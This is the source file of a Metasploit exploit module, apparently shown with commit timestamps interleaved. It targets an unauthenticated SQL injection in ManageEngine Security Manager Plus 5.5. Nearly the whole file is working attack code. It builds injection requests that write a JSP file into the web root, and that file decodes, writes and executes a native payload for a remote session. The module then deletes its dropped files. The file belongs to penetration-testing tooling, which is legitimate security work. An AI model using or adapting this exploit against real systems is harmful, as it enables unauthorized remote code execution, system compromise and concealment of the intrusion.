metasploit-framework/modules/exploits/multi/http/manageengine_search_sqli.rb

276 lines
7.8 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
'Description' => %q{
This module exploits a SQL injection found in ManageEngine Security Manager Plus
advanced search page, which results in remote code execution under the context of
2012-10-23 17:47:46 +00:00
SYSTEM in Windows; or as the user in Linux. Authentication is not required in order
to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
2012-10-23 07:05:08 +00:00
'xistence <xistence[at]0x90.nl>', # Discovery & Metasploit module
2012-10-23 17:40:13 +00:00
'sinn3r', # Improved Metasploit module
'egypt' # Improved Metasploit module
],
'References' =>
[
2012-10-23 07:05:08 +00:00
['EDB','22094'],
['BID', '56138']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
['Automatic', {}],
['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
],
'DefaultTarget' => 0,
'Privileged' => false,
2012-10-23 17:40:13 +00:00
'DisclosureDate' => "Oct 18 2012"))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 6262])
], self.class)
end
#
# A very gentle check to see if Security Manager Plus exists or not
#
def check
2012-10-23 07:05:08 +00:00
res = send_request_raw({'uri' => '/SecurityManager.cc'})
2012-10-23 07:05:08 +00:00
if res and res.body =~ /\<title\>SecurityManager Plus\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def pick_target
return target if target.name != 'Automatic'
rnd_num = Rex::Text.rand_text_numeric(1)
rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
outpath = "../../webapps/SecurityManager/#{rnd_fname}"
@clean_ups << outpath
sqli = "#{rnd_num})) union select @@version,"
sqli << (2..28).map {|e| e} * ","
sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
sqli_exec(sqli)
res = send_request_raw({'uri'=>"/#{rnd_fname}"})
# Linux = 5.0.36-enterprise
# Windows = 5.0.36-enterprise-nt
if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
return targets[1] # Windows target
elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
return targets[2]
end
return nil
end
#
# We're in SecurityManager/bin at this point
#
def on_new_session(cli)
2012-10-23 18:58:19 +00:00
if target['Platform'] == 'linux'
print_warning("Malicious executable is removed during payload execution")
end
2012-10-23 18:58:19 +00:00
if cli.type == 'meterpreter'
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
2012-10-24 00:34:12 +00:00
@clean_ups.each { |f|
base = File.basename(f)
f = "../webapps/SecurityManager/#{base}"
print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")
2012-10-24 00:34:12 +00:00
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
cli.shell_command_token("#{del_cmd} \"#{f}\"")
end
print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
2012-10-24 00:34:12 +00:00
rescue ::Exception => e
print_error("Unable to delete: #{e.message}")
end
}
end
#
2012-10-23 16:41:53 +00:00
# Embeds our executable in JSP
#
def generate_jsp_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
native_payload = Rex::Text.encode_base64(generate_payload_exe(opts))
2012-10-23 17:40:13 +00:00
native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
2012-10-23 07:05:08 +00:00
2012-10-23 16:41:53 +00:00
var_raw = Rex::Text.rand_text_alpha(rand(8) + 3)
var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
var_buf = Rex::Text.rand_text_alpha(rand(8) + 3)
var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3)
var_path = Rex::Text.rand_text_alpha(rand(8) + 3)
2012-10-23 17:40:13 +00:00
var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
2012-10-23 17:40:13 +00:00
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
2012-10-23 18:58:19 +00:00
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
2012-10-23 17:40:13 +00:00
else
2012-10-23 18:58:19 +00:00
chmod = ''
cleanup = ''
2012-10-23 17:40:13 +00:00
end
2012-10-23 16:41:53 +00:00
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
2012-10-23 16:41:53 +00:00
byte[] #{var_raw} = null;
BufferedOutputStream #{var_ostream} = null;
try {
2012-10-23 16:41:53 +00:00
String #{var_buf} = "#{native_payload}";
2012-10-23 16:41:53 +00:00
BASE64Decoder #{var_decoder} = new BASE64Decoder();
#{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
2012-10-23 17:40:13 +00:00
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
2012-10-23 16:41:53 +00:00
String #{var_path} = #{var_tmp}.getAbsolutePath();
2012-10-23 16:41:53 +00:00
#{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
2012-10-23 17:40:13 +00:00
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
2012-10-23 18:58:19 +00:00
#{cleanup}
2012-10-23 17:40:13 +00:00
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp.unpack("H*")[0]
end
def sqli_exec(sqli_string)
2012-10-23 07:05:08 +00:00
cookie = 'STATE_COOKIE=&'
cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'
state_id = Rex::Text.rand_text_numeric(5)
send_request_cgi({
'method' => 'POST',
2012-10-23 07:05:08 +00:00
'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
'headers' => {
'Cookie' => cookie,
'Accept-Encoding' => 'identity'
},
2012-10-23 07:05:08 +00:00
'vars_get' => {
'reqType' =>'AdvanceSearch',
'SUBREQUEST' =>'XMLHTTP'
},
'vars_post' => {
'ANDOR' => 'and',
'condition_1' => 'OpenPorts@PORT',
'operator_1' => 'IN',
'value_1' => sqli_string,
'COUNT' => '1'
}
})
end
#
# Run the actual exploit
#
def inject_exec(out)
hex_jsp = generate_jsp_payload
rnd_num = Rex::Text.rand_text_numeric(1)
sqli = "#{rnd_num})) union select 0x#{hex_jsp},"
sqli << (2..28).map {|e| e} * ","
sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
print_status("#{rhost}:#{rport} - Sending JSP payload")
sqli_exec(sqli)
fname = "/#{File.basename(out)}"
print_status("#{rhost}:#{rport} - Requesting #{fname}")
res = send_request_raw({'uri' => fname})
handler
end
#
# The server must start first, and then we send the malicious requests
#
def exploit
@clean_ups = []
@my_target = pick_target
if @my_target.nil?
print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
return
end
jsp_name = rand_text_alpha(rand(6)+3)
outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"
@clean_ups << outpath
inject_exec(outpath)
end
end